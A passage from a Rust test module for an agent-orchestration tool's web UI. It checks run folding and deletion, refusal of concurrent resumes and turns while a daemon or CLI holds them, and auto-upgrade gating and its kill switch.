23189 + body[gate_start..]
23190 .find("}\n renderStatsQueue")
23191 .expect("the gate's own closing brace, right before the unconditional call");
23192 let gated = &body[gate_start..gate_end];
23193
23194 assert_eq!(
23195 body.matches("renderStatsQueue(").count(),
23196 1,
23197 "renderStats must call renderStatsQueue exactly once: {body}"
23198 );
23199 assert!(
23200 !gated.contains("renderStatsQueue"),
23201 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
23202 run-derived panels on an empty run history - the queue panel has to render \
23203 regardless: {gated}"
23204 );
23205 }
23206
23207 #[test]
23208 fn web_ui_delete_contract_in_front_end() {
23209 assert!(APP_JS.contains("deleteRun:"));
23211 assert!(APP_JS.contains("deleteTask:"));
23212
23213 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
23215 ..APP_JS.find("function renderRuns").unwrap()];
23216 assert!(!run_cards_slice.to_lowercase().contains("delete"));
23217
23218 assert!(APP_JS.contains("renderRunDelete"));
23220 assert!(APP_JS.contains("runDeleteReason"));
23221 assert!(APP_JS.contains("magi fold"));
23222 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
23223
23224 assert!(APP_JS.contains("cancel.focus"));
23226 assert!(APP_JS.contains("armedRunDelete"));
23227 assert!(APP_JS.contains("renderTaskDeleteBox"));
23228 assert!(APP_JS.contains("armed${cap(key)}"));
23229
23230 assert!(APP_JS.contains("disabled: status === \"running\""));
23232 }
23233
23234 #[test]
23254 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
23255 let build = APP_JS
23256 .find("function createRunCard")
23257 .expect("createRunCard exists");
23258 let update = APP_JS
23259 .find("function updateRunCard")
23260 .expect("updateRunCard exists");
23261 let end = APP_JS
23262 .find("function renderRuns")
23263 .expect("renderRuns exists");
23264
23265 let builder = &APP_JS[build..update];
23267 let open = builder.find("refs = {").expect("createRunCard sets refs");
23268 let literal = &builder[open + "refs = {".len()..];
23269 let close = literal.find('}').expect("the refs literal is closed");
23270 let published: HashSet<&str> = literal[..close]
23271 .split(',')
23272 .filter_map(|entry| entry.split(':').next())
23274 .map(str::trim)
23275 .filter(|name| !name.is_empty())
23276 .collect();
23277 assert!(
23278 published.len() > 5,
23279 "the refs literal did not parse into names: {published:?}"
23280 );
23281
23282 let mut used: Vec<&str> = Vec::new();
23285 let updaters = &APP_JS[update..end];
23286 for (at, _) in updaters.match_indices("r.") {
23287 let before = updaters[..at].chars().next_back();
23290 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
23291 continue;
23292 }
23293 let rest = &updaters[at + 2..];
23294 let len = rest
23295 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
23296 .unwrap_or(rest.len());
23297 if len > 0 {
23298 used.push(&rest[..len]);
23299 }
23300 }
23301 assert!(
23302 used.len() > 5,
23303 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
23304 );
23305
23306 let missing: Vec<&str> = used
23307 .iter()
23308 .copied()
23309 .filter(|name| !published.contains(name))
23310 .collect();
23311 assert!(
23312 missing.is_empty(),
23313 "a run card's updater reaches for {missing:?}, which `createRunCard` \
23314 never put in `refs` - every card will throw and the list will \
23315 render empty under a count line that says otherwise. Published: \
23316 {published:?}"
23317 );
23318 }
23319
23320 #[tokio::test]
23321 async fn folding_from_the_phone_reports_what_it_removed() {
23322 let fx = Fixture::start().await;
23323 let runs = fx.runs();
23324
23325 let id = "20260901-000000-fold";
23329 write_run(&runs, id, RunStatus::Stalled);
23330 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23331 assert_eq!(res.status, 200);
23332 assert_eq!(res.json()["removed_count"], 0);
23333 assert_eq!(res.json()["run"], id);
23334 assert!(
23335 runs.join(id).exists(),
23336 "a fold keeps the run's record; only the worktrees go"
23337 );
23338 }
23339
23340 #[tokio::test]
23341 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
23342 let fx = Fixture::start().await;
23343 let runs = fx.runs();
23344 let wt = fx.home.path().join("wt").join("magi").join("dead");
23345 let id = "20260901-000000-dead";
23346 std::fs::create_dir_all(runs.join(id)).expect("run dir");
23347 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23348 std::fs::create_dir_all(&wt).expect("worktree dir");
23349
23350 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23351 assert_eq!(res.status, 200, "{}", res.body);
23352 assert!(
23353 res.json()["removed_count"].as_u64().unwrap() > 0,
23354 "the worktree this build could not read a state for still went"
23355 );
23356 assert!(
23357 !runs.join(id).exists(),
23358 "an unreadable run has no candidate list to fold selectively, so \
23359 the whole record goes - same as `magi fold` on the CLI"
23360 );
23361 }
23362
23363 #[tokio::test]
23364 async fn deleting_an_unreadable_run_removes_it_wholesale() {
23365 let fx = Fixture::start().await;
23366 let runs = fx.runs();
23367 let wt = fx.home.path().join("wt").join("magi").join("gone");
23368 let id = "20260901-000000-gone";
23369 std::fs::create_dir_all(runs.join(id)).expect("run dir");
23370 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
23371 std::fs::create_dir_all(&wt).expect("worktree dir");
23372
23373 let res = fx.delete(&format!("/api/runs/{id}")).await;
23374 assert_eq!(res.status, 204, "{}", res.body);
23375 assert!(!runs.join(id).exists(), "the broken record is gone");
23376 assert!(!wt.exists(), "its worktree is gone too");
23377 }
23378
23379 #[tokio::test]
23380 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23381 let fx = Fixture::start().await;
23382 let runs = fx.runs();
23383 let id = "20260901-000000-live";
23384 write_run(&runs, id, RunStatus::Implementing);
23385
23386 let mut beat = crate::daemon::Status::new();
23387 beat.current = vec![crate::daemon::Current {
23388 worker: None,
23389 task: "20260901-000000-task".to_owned(),
23390 run: id.to_owned(),
23391 }];
23392 beat.updated_at = jiff::Timestamp::now();
23393 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23394 .expect("publish a heartbeat");
23395
23396 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23397 assert_eq!(res.status, 409);
23398 assert!(
23399 res.json()["error"]
23400 .as_str()
23401 .unwrap()
23402 .contains("live daemon"),
23403 "folding under a running agent would pull its worktree away"
23404 );
23405 }
23406
23407 #[tokio::test]
23408 async fn fold_merged_requires_a_pr_url() {
23409 let fx = Fixture::start().await;
23410 let runs = fx.runs();
23411 let id = "20260901-000000-nourl";
23412 write_run(&runs, id, RunStatus::Blocked);
23413
23414 let res = fx
23415 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23416 .await;
23417 assert_eq!(res.status, 400, "{}", res.body);
23418
23419 let blank = fx
23420 .post(
23421 &format!("/api/runs/{id}/fold-merged"),
23422 Some(r#"{"pr_url":" "}"#),
23423 )
23424 .await;
23425 assert_eq!(blank.status, 400, "{}", blank.body);
23426 }
23427
23428 #[tokio::test]
23429 async fn fold_merged_is_404_for_an_unknown_run() {
23430 let fx = Fixture::start().await;
23431 let res = fx
23432 .post(
23433 "/api/runs/nosuchrun/fold-merged",
23434 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23435 )
23436 .await;
23437 assert_eq!(res.status, 404, "{}", res.body);
23438 }
23439
23440 #[tokio::test]
23441 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23442 let fx = Fixture::start().await;
23443 let runs = fx.runs();
23444 let id = "20260901-000000-livemerge";
23445 write_run(&runs, id, RunStatus::Blocked);
23446
23447 let mut beat = crate::daemon::Status::new();
23448 beat.current = vec![crate::daemon::Current {
23449 worker: None,
23450 task: "20260901-000000-task".to_owned(),
23451 run: id.to_owned(),
23452 }];
23453 beat.updated_at = jiff::Timestamp::now();
23454 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23455 .expect("publish a heartbeat");
23456
23457 let res = fx
23458 .post(
23459 &format!("/api/runs/{id}/fold-merged"),
23460 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23461 )
23462 .await;
23463 assert_eq!(res.status, 409, "{}", res.body);
23464 assert!(
23465 res.json()["error"]
23466 .as_str()
23467 .unwrap()
23468 .contains("live daemon"),
23469 "correcting a run's merge underneath a running agent would race \
23470 whatever it is doing to the same `status`/`merge` fields"
23471 );
23472 }
23473
23474 #[tokio::test]
23479 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23480 let fx = Fixture::start().await;
23481 let runs = fx.runs();
23482 let id = "20260901-000000-unconfirmed";
23483 write_run(&runs, id, RunStatus::Blocked);
23484
23485 let res = fx
23486 .post(
23487 &format!("/api/runs/{id}/fold-merged"),
23488 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23489 )
23490 .await;
23491 assert_eq!(res.status, 400, "{}", res.body);
23492 assert_eq!(
23493 read_run(&runs, id).unwrap().status,
23494 RunStatus::Blocked,
23495 "a pull request that could not be confirmed merged must leave \
23496 the run exactly where it was"
23497 );
23498 }
23499
23500 #[tokio::test]
23501 async fn terminal_runs_cannot_be_resumed() {
23502 let fx = Fixture::start().await;
23503 let runs = fx.runs();
23504
23505 for (status, word) in [
23506 (RunStatus::Merged, "merged"),
23507 (RunStatus::Ready, "ready"),
23508 (RunStatus::Failed, "failed"),
23509 ] {
23510 let id = format!("20260901-000000-{}", &word[..4]);
23511 write_run(&runs, &id, status);
23512 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23513 assert_eq!(res.status, 409, "{word} must not be resumable");
23514 }
23515 }
23516
23517 #[tokio::test]
23518 async fn resume_is_refused_while_the_loop_is_running() {
23519 let fx = Fixture::start().await;
23520 let runs = fx.runs();
23521 let stalled = "20260901-000000-stal";
23522 write_run(&runs, stalled, RunStatus::Stalled);
23523
23524 let mut beat = crate::daemon::Status::new();
23528 beat.current = vec![crate::daemon::Current {
23529 worker: None,
23530 task: "20260901-000000-task".to_owned(),
23531 run: "20260901-000000-othr".to_owned(),
23532 }];
23533 beat.updated_at = jiff::Timestamp::now();
23534 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23535 .expect("publish a heartbeat");
23536
23537 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23538 assert_eq!(res.status, 409);
23539 let err = res.json()["error"].as_str().unwrap().to_owned();
23540 assert!(err.contains("othr"), "it names what the loop is on: {err}");
23541 assert!(err.contains("stop it first"), "{err}");
23542 }
23543
23544 #[test]
23545 fn a_run_cannot_be_resumed_twice_at_once() {
23546 let home = TempDir::new().expect("temp home");
23547 let ui = Ui::new(
23548 Queue::at(home.path().join("queue")),
23549 Questions::at(home.path().join("questions")),
23550 Talks::at(home.path().join("talks")),
23551 home.path().join("runs"),
23552 home.path().to_path_buf(),
23553 PathBuf::from("/repo"),
23554 )
23555 .with_worktrees_root(home.path().join("wt"));
23556 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23557 let again = ui.begin_resume("20260901-000000-once");
23558 assert!(again.is_err(), "a second tap must not start a second graph");
23559 drop(first);
23560 assert!(
23561 ui.begin_resume("20260901-000000-once").is_ok(),
23562 "and the claim is released when the attempt ends"
23563 );
23564 }
23565
23566 #[test]
23567 fn talk_thinking_tracks_only_its_held_turn_claim() {
23568 let home = TempDir::new().expect("temp home");
23569 let ui = Ui::new(
23570 Queue::at(home.path().join("queue")),
23571 Questions::at(home.path().join("questions")),
23572 Talks::at(home.path().join("talks")),
23573 home.path().join("runs"),
23574 home.path().to_path_buf(),
23575 PathBuf::from("/repo"),
23576 )
23577 .with_worktrees_root(home.path().join("wt"));
23578 let id = "20260901-000000-once";
23579
23580 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23581 let turn = ui.begin_talk_turn(id).expect("claim turn");
23582 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23583 assert!(
23584 !ui.is_thinking("20260901-000000-other"),
23585 "one talk's turn does not make another talk busy"
23586 );
23587 drop(turn);
23588 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23589 }
23590
23591 #[test]
23592 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23593 let home = TempDir::new().expect("temp home");
23594 let talks = Talks::at(home.path().join("talks"));
23595 let ui = Ui::new(
23596 Queue::at(home.path().join("queue")),
23597 Questions::at(home.path().join("questions")),
23598 talks.clone(),
23599 home.path().join("runs"),
23600 home.path().to_path_buf(),
23601 PathBuf::from("/repo"),
23602 )
23603 .with_worktrees_root(home.path().join("wt"));
23604 let id = "20260901-000000-cross";
23605
23606 let other = Talks::at(home.path().join("talks"))
23607 .claim_turn(id)
23608 .expect("claim")
23609 .expect("the other process wins");
23610 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23611 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23612 assert!(
23613 matches!(
23614 ui.begin_talk_turn_unless_pending(id).expect("start"),
23615 TalkTurnStart::Foreign
23616 ),
23617 "a foreign holder is refused, not queued behind"
23618 );
23619 assert!(
23620 !ui.talk_turns.lock().unwrap().live.contains(id),
23621 "a refused claim leaves no in-process entry behind"
23622 );
23623 drop(other);
23624 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23625 assert!(talks.turn_held(id), "the web turn holds the lease");
23626 drop(turn);
23627 assert!(
23628 !talks.turn_held(id),
23629 "dropping the guard releases the lease"
23630 );
23631 }
23632
23633 fn consult_question(ui: &Ui) -> Question {
23634 let mut q = Question::new(
23635 "20260901-000000-consult".to_owned(),
23636 "implement".to_owned(),
23637 "impl-A".to_owned(),
23638 "Which backend?".to_owned(),
23639 String::new(),
23640 vec!["SQLite".to_owned(), "Redis".to_owned()],
23641 );
23642 ui.questions.put(&mut q).expect("question");
23643 q
23644 }
23645
23646 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23647 (
23648 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23649 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23650 )
23651 }
23652
23653 #[tokio::test]
23654 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23655 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23656 let q = consult_question(&ui);
23657 let talk = ui.talks.get(&id).expect("talk");
23658 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23659 let before = consult_snapshot(&ui, &q, &id);
23660 let cli_talks = Talks::at(ui.home.join("talks"));
23661 assert_eq!(
23662 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23663 .await
23664 .expect("CLI starter"),
23665 crate::consult::Started::Busy
23666 );
23667 assert_eq!(consult_snapshot(&ui, &q, &id), before);
23668 assert!(ui.is_thinking(&id));
23669 drop(guard);
23670 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23671 }
23672
23673 #[tokio::test]
23674 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23675 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23676 let q = consult_question(&ui);
23677 let talk = ui.talks.get(&id).expect("talk");
23678 let started = tmp.path().join("started");
23679 let release = tmp.path().join("release");
23680 let script = tmp.path().join("consult-agent.sh");
23681 std::fs::write(
23682 &script,
23683 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
23684 )
23685 .expect("script");
23686 let mut cfg = stub_config();
23687 cfg.agents[0].id = "mock".to_owned();
23688 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23689 cfg.agents[0].env = std::collections::BTreeMap::from([
23690 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23691 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23692 ]);
23693 let questions = ui.questions.clone();
23694 let cli_talks = Talks::at(ui.home.join("talks"));
23695 let cli_q = q.clone();
23696 let turn = tokio::spawn(async move {
23697 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23698 });
23699 let ready = tokio::time::timeout(Duration::from_secs(30), async {
23700 while !started.exists() {
23701 tokio::time::sleep(Duration::from_millis(10)).await;
23702 }
23703 })
23704 .await;
23705 let refusal = if ready.is_ok() {
23708 let before = consult_snapshot(&ui, &q, &id);
23709 let result = talk_say(
23710 State(Arc::clone(&ui)),
23711 Path(id.clone()),
23712 Ok(Json(NewTalkTurn {
23713 reply_to: None,
23714 text: "another message".to_owned(),
23715 attachments: Vec::new(),
23716 })),
23717 )
23718 .await;
23719 Some((result, before, consult_snapshot(&ui, &q, &id)))
23720 } else {
23721 None
23722 };
23723 std::fs::write(&release, "").expect("release agent");
23724 let done = turn.await.expect("join CLI turn");
23725 ready.expect("agent started before deadline");
23726 let (result, before, after) = refusal.expect("web request");
23727 let error = result.expect_err("web must refuse the CLI's turn");
23728 assert_eq!(error.status, StatusCode::CONFLICT);
23729 assert!(error.message.contains("a turn is already running"));
23730 assert_eq!(
23731 after, before,
23732 "refusal preserves question, draft and history"
23733 );
23734 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23735 let guard = ui
23736 .begin_talk_turn(&id)
23737 .expect("web claim")
23738 .expect("free again");
23739 drop(guard);
23740 }
23741
23742 #[test]
23743 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23744 let home = TempDir::new().expect("temp home");
23745 let talks = Talks::at(home.path().join("talks"));
23746 let ui = Ui::new(
23747 Queue::at(home.path().join("queue")),
23748 Questions::at(home.path().join("questions")),
23749 talks.clone(),
23750 home.path().join("runs"),
23751 home.path().to_path_buf(),
23752 PathBuf::from("/repo"),
23753 )
23754 .with_worktrees_root(home.path().join("wt"));
23755 let id = "20260901-000000-order";
23756 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23757 let slots = ui.talk_turns.lock().unwrap();
23759 let dropper = std::thread::spawn(move || drop(turn));
23760 let start = std::time::Instant::now();
23761 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23762 std::thread::sleep(Duration::from_millis(5));
23763 }
23764 assert!(!talks.turn_held(id), "the lease is released first");
23765 assert!(slots.live.contains(id), "the slot is still held meanwhile");
23766 drop(slots);
23767 dropper.join().expect("join");
23768 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23769 }
23770
23771 #[tokio::test]
23772 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23773 let fx = Fixture::start().await;
23774 let mut beat = crate::daemon::Status::new();
23775 beat.worker_protocol = None;
23776 beat.pid = 4321;
23777 beat.updated_at = jiff::Timestamp::now();
23778 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23779 .expect("publish a heartbeat");
23780
23781 let res = fx.post("/api/upgrade", None).await;
23782 assert_eq!(res.status, 409);
23783 }
23784
23785 #[test]
23792 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23793 assert!(!should_spawn_recheck(&crate::config::Update {
23794 mode: UpdateMode::Off,
23795 interval: None,
23796 auto_restart: false,
23797 }));
23798
23799 unsafe {
23802 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23803 }
23804 let killed = should_spawn_recheck(&crate::config::Update {
23805 mode: UpdateMode::Notify,
23806 interval: None,
23807 auto_restart: false,
23808 });
23809 unsafe {
23810 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23811 }
23812 assert!(
23813 !killed,
23814 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23815 one-time startup check"
23816 );
23817
23818 assert!(should_spawn_recheck(&crate::config::Update {
23819 mode: UpdateMode::Notify,
23820 interval: None,
23821 auto_restart: false,
23822 }));
23823 }
23824
23825 #[test]
23831 fn recheck_poll_period_tracks_a_short_configured_interval() {
23832 let short = crate::config::Update {
23833 mode: UpdateMode::Notify,
23834 interval: Some("1m".to_owned()),
23835 auto_restart: false,
23836 };
23837 let period = recheck_poll_period(&short);
23838 assert!(
23839 period <= Duration::from_secs(30),
23840 "a one-minute interval must wake the task far sooner than the \
23841 default ceiling, or the deck would not notice within the \
23842 interval the operator configured: got {period:?}"
23843 );
23844
23845 let default = crate::config::Update {
23846 mode: UpdateMode::Notify,
23847 interval: None,
23848 auto_restart: false,
23849 };
23850 assert_eq!(
23851 recheck_poll_period(&default),
23852 UPDATE_RECHECK_POLL_MAX,
23853 "the default day-long interval should poll at the (capped) \
23854 ceiling rather than needlessly often"
23855 );
23856 }
23857
23858 #[test]
23866 fn recheck_skips_the_network_before_the_interval_elapses() {
23867 let dir = TempDir::new().expect("temp dir");
23868 let path = dir.path().join("state.json");
23869 let state = kaishin::UpdateCheckState {
23870 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23871 last_known_latest: None,
23872 last_known_url: None,
23873 };
23874 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23875
23876 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23877 assert!(
23878 !update_recheck_due(&checker, None),
23879 "a check made moments ago must not be repeated before the \
23880 configured interval elapses"
23881 );
23882 }
23883
23884 #[test]
23890 fn recheck_defers_to_an_upgrade_already_in_flight() {
23891 let dir = TempDir::new().expect("temp dir");
23892 let path = dir.path().join("state.json");
23893 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23894 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23895
23896 assert!(
23897 !update_recheck_due(&checker, Some(&progress)),
23898 "a recheck must not run while an upgrade this deck started is \
23899 still moving"
23900 );
23901 }
23902
23903 #[tokio::test]
23904 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23905 unsafe {
23917 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23918 }
23919 let fx = Fixture::start().await;
23920 let res = fx.post("/api/upgrade", None).await;
23921 unsafe {
23922 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23923 }
23924 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23925 let body = res.json();
23926 assert!(body["to"].is_null(), "there was no release to move to");
23927 assert!(body["parked"].is_null(), "and nothing was parked");
23928 assert!(
23929 body["detail"]
23930 .as_str()
23931 .unwrap()
23932 .contains("disabled by MAGI_NO_AUTOUPDATE"),
23933 "{body:?}"
23934 );
23935 }
23936
23937 #[test]
23938 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23939 use AutoUpgradeDecision::{Skip, Trigger, Wait};
23940 let mut cfg = Update::default();
23941 assert!(matches!(
23942 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23943 Skip(_)
23944 ));
23945 cfg.auto_restart = true;
23946 assert_eq!(
23947 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23948 Trigger
23949 );
23950 assert_eq!(
23951 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23952 Wait
23953 );
23954 for (disabled, moving, failed) in [
23955 (true, false, None),
23956 (false, true, None),
23957 (false, false, Some("v2")),
23958 ] {
23959 assert!(matches!(
23960 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23961 Skip(_)
23962 ));
23963 }
23964 assert_eq!(
23965 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23966 Trigger
23967 );
23968 cfg.mode = UpdateMode::Off;
23969 assert!(matches!(
23970 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23971 Skip(_)
23972 ));
23973 }
23974
23975 #[test]
23976 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23977 let home = TempDir::new().unwrap();
23978 let ui = idle_ui(&home);
23979 assert!(!ui.auto_upgrade_busy());
23980 let directory = home.path().join("workers/jobs/abcdef");
23981 std::fs::create_dir_all(&directory).unwrap();
23982 let mut job = crate::worker::Job {
23983 id: "abcdef".into(),
23984 sequence: 1,
23985 kind: "scheduler".into(),
23986 key: "scheduler".into(),
23987 payload: serde_json::json!({}),
23988 generation: "test".into(),
23989 version: None,
23990 status: crate::worker::Status::Running,
23991 result: None,
23992 pid: None,
23993 created_at: 0,
23994 finished_at: None,
23995 };
23996 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23997 let write = |job: &crate::worker::Job| {
23998 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23999 };
24000 write(&job);
24001 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
24002 for kind in ["task", "chat"] {
24003 job.kind = kind.into();
24004 write(&job);
24005 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
24006 }
24007 drop(lease);
24008 assert!(
24012 !ui.auto_upgrade_busy(),
24013 "completed execution permits updates"
24014 );
24015 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
24016 assert!(
24017 ui.auto_upgrade_busy(),
24018 "unreadable worker state defers updates"
24019 );
24020 }
24021
24022 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24023 Box::pin(async { anyhow::bail!("test installer failed") })
24024 }
24025
24026 #[tokio::test]
24027 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
24028 let home = TempDir::new().unwrap();
24029 std::fs::write(
24030 home.path().join("magi.toml"),
24031 "[update]\nauto_restart = true\n",
24032 )
24033 .unwrap();
24034 let mut ui = idle_ui(&home);
24035 ui.repo = home.path().to_path_buf();
24036 ui.upgrade_runner = fail_test_upgrade;
24038 let ui = Arc::new(ui);
24039 let latest = || {
24040 Some(kaishin::LatestRelease {
24041 tag_name: "v999.0.0".into(),
24042 html_url: String::new(),
24043 })
24044 };
24045 ui.talk_turns.lock().unwrap().live.insert("busy".into());
24046 assert_eq!(
24047 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24048 .await
24049 .status(),
24050 StatusCode::NO_CONTENT
24051 );
24052 assert!(updater::read_progress(home.path()).is_none());
24053 ui.talk_turns.lock().unwrap().live.clear();
24054 let gate = ui.upgrade_gate.lock().await;
24055 assert_eq!(
24056 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24057 .await
24058 .status(),
24059 StatusCode::CONFLICT
24060 );
24061 drop(gate);
24062 assert_eq!(
24063 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24064 .await
24065 .status(),
24066 StatusCode::ACCEPTED
24067 );
24068 let progress = updater::read_progress(home.path()).unwrap();
24069 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24070 assert_eq!(progress.stage, updater::Stage::Downloading);
24071 assert!(progress.parked_run.is_none());
24072 assert!(ui.start_detached_loop().await.is_err());
24073 assert!(ui.start_loop(None).is_err());
24074 assert!(ui.begin_resume("late").is_err());
24075 tokio::time::timeout(Duration::from_secs(2), async {
24076 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24077 tokio::task::yield_now().await;
24078 }
24079 })
24080 .await
24081 .unwrap();
24082 let progress = updater::read_progress(home.path()).unwrap();
24083 assert_eq!(progress.stage, updater::Stage::Failed);
24084 assert_eq!(
24085 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
24086 .await
24087 .status(),
24088 StatusCode::NO_CONTENT
24089 );
24090 let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
24092 assert_eq!(
24093 finish_upgrade_request(&ui, result).status(),
24094 StatusCode::ACCEPTED
24095 );
24096 assert_eq!(
24097 updater::read_progress(home.path()).unwrap().trigger,
24098 updater::UpgradeTrigger::Manual
24099 );
24100 tokio::time::timeout(Duration::from_secs(2), async {
24101 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24102 tokio::task::yield_now().await;
24103 }
24104 })
24105 .await
24106 .unwrap();
24107 }
24108
24109 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
24110 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
24111 p.stage = stage;
24112 p
24113 }
24114
24115 #[test]
24116 fn busy_stages_match_the_ui_set() {
24117 use crate::updater::Stage;
24118 assert!(APP_JS.contains(
24119 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
24120 ));
24121 for s in [
24122 Stage::Downloading,
24123 Stage::Replaced,
24124 Stage::Parking,
24125 Stage::Restarting,
24126 ] {
24127 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
24128 }
24129 for s in [Stage::Done, Stage::Failed] {
24130 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
24131 }
24132 assert!(upgrade_in_motion(None).is_none());
24133 }
24134
24135 #[tokio::test]
24136 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
24137 use crate::updater::Stage;
24138 for stage in [
24139 Stage::Downloading,
24140 Stage::Replaced,
24141 Stage::Parking,
24142 Stage::Restarting,
24143 ] {
24144 let fx = Fixture::start().await;
24145 let seeded = seeded_progress(stage);
24146 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
24147 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24148 .expect("read");
24149
24150 let res = fx.post("/api/upgrade", None).await;
24151 assert_eq!(res.status, 409, "{stage:?}");
24152 let err = res.json()["error"].as_str().unwrap().to_owned();
24153 assert!(err.contains("already in progress"), "{err}");
24154 assert!(err.contains(stage.as_str()), "{err}");
24155
24156 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
24157 .expect("read");
24158 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
24159 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
24160 .unwrap_or_default();
24161 assert!(!log.contains("signalling HANDOVER"), "{log}");
24162 }
24163 }
24164
24165 #[test]
24166 fn upgrade_retry_timing_only_parses_known_diagnostics() {
24167 assert_eq!(
